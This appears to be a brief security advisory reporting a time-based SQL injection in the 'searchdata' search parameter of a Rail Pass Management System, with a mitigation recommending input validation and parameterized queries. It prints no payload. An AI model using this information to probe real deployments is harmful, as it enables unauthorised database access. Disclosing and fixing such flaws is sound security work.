Rail Pass Management System – ‘searchdata’ Time-Based SQL Injection

The Rail Pass Management System's searchdata parameter in the search function is vulnerable to a time-based SQL injection attack. By sending a crafted payload, an attacker can cause the response time to increase significantly, indicating a successful injection.

Mitigation:

To mitigate this vulnerability, input validation and parameterized queries should be implemented to prevent SQL injection attacks.
